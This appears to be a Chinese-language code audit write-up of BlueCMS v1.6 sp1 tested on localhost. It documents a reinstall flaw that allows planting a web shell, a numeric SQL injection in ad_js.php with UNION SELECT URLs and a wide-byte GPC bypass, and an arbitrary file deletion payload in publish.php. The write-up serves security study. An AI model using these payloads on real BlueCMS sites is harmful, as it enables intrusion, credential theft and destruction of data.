BlueCMS版本号为:bluecms_v1.6_sp1
本地搭建环境后将源代码丢进seay源代码审计系统,开启本地web服务页面访问,白盒+黑盒审计
搭建好环境后第一步先检查是否有重装漏洞,访问网站install位置,我的网址是:
http://127.0.0.1/bluecms_v1.6_sp1/bluecms/install/
可以看到存在重装漏洞,源代码里面没有检测网站是否已经搭建,所以我们可以通过重装获取管理员密码进而在后台写入shell
同时我们也可以在填入配置的时候,可以尝试直接写入一句话木马进config.php文件,从而拿到shell
这个时候seay审计工具也审计结束了
我们可以依次进行分析,找出漏洞
进入ID=1的漏洞详情
疑似漏洞点为:
$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
可以看到$ad_id没有引号包裹,存在数字型SQL注入漏洞,接下来我们需要找到$ad_id参数的输入点,构造利用点
这里只对输入的$ad_id进行了空格的过滤
$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';
输出位置代码为:
echo "<!--\r\ndocument.write(\"".$ad_content."\");\r\n-->\r\n";
而在ad_js.php文件的开头引入了过滤文件
require_once dirname(__FILE__) . '/include/common.inc.php';
我们查看common.inc.php文件,有
if(!get_magic_quotes_gpc()) { $_POST = deep_addslashes($_POST); $_GET = deep_addslashes($_GET); $_COOKIES = deep_addslashes($_COOKIES); $_REQUEST = deep_addslashes($_REQUEST); }
若果没有开启GPC防注入的话,则对POST,GET,COOKIE,REQUEST参数都进行过滤,但是deep_addslashes
function deep_addslashes($str) { if(is_array($str)) { foreach($str as $key=>$val) { $str[$key] = deep_addslashes($val); } } else { $str = addslashes($str); } return $str; }
仅仅是在addslashes过滤函数基础上的一个修改,而addslashes函数是不能防止数字型注入的,回到刚才漏洞的注入点:
$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
可以看到这里是数字型的注入,所以我们能够直接进行注入。
添加单引号:
http://127.0.0.1/bluecms_v1.6_sp1/bluecms/ad_js.php?ad_id=1%27
从源代码我们已经看出来这是数字型注入了,我们可以不输入单引号,但是如果不是数字型注入,我们尝试使用宽字节绕过GPC
成功令%df%27合成一个汉字
宽字节注入绕过GPC实际上是PHP与MySQL交互过程中发生编码转换导致的问题,从上面我们可以看到将转义符去除了,进而可以对于字符型注入
当然这里我们继续使用数字型,使用order by 判断字段数
http://127.0.0.1/bluecms_v1.6_sp1/bluecms/ad_js.php?ad_id=1%20order%20by%207
页面没有任何显示,因为在ad_js.php的输出里面是
echo "<!--\r\ndocument.write(\"".$ad_content."\");\r\n-->\r\n";
将输出在源代码中注释了,不会显示在界面中,想要查看也很简单,查看源代码即可
字段数是7,查看回显位置
http://127.0.0.1/bluecms_v1.6_sp1/bluecms/ad_js.php?ad_id=1%20and%201=2%20union%20select%201,2,3,4,5,6,7
回显位置是7,简单查看一下user用户
成功读取当前用户,SQL注入漏洞成功利用。
第二个漏洞点在:
$db->query("UPDATE ".table('ann')." SET click = click+1 WHERE ann_id = ".$ann_id);
同样可以看到可能存在数字型注入
$ann_id = !empty($_REQUEST['ann_id']) ? intval($_REQUEST['ann_id']) : '';
但是在这里将输入的ann_id进行了数字的转换,以至于不能进一步利用
另外好几个疑似SQL注入的点都是用intval进行了数字转换导致不能利用
疑似任意文件删除漏洞:
elseif($act == 'del_pic') { $id = $_REQUEST['id']; $db->query("DELETE FROM ".table('post_pic')." WHERE pic_path='$id'"); if(file_exists(BLUE_ROOT.$id)) { @unlink(BLUE_ROOT.$id); } }
可以看出来,选择动作为删除,传入id参数,最后的@unlink却是当$id文件存在时,在当前目录下直接删除,本来应该是删除指定id的文件吧。
我们在同目录下创建test.txt
payload为:
http://127.0.0.1/bluecms_v1.6_sp1/bluecms/publish.php?act=del_pic&id=test.txt
访问构造的网址
文件已删除,进一步可删除服务器任意文件
明天再更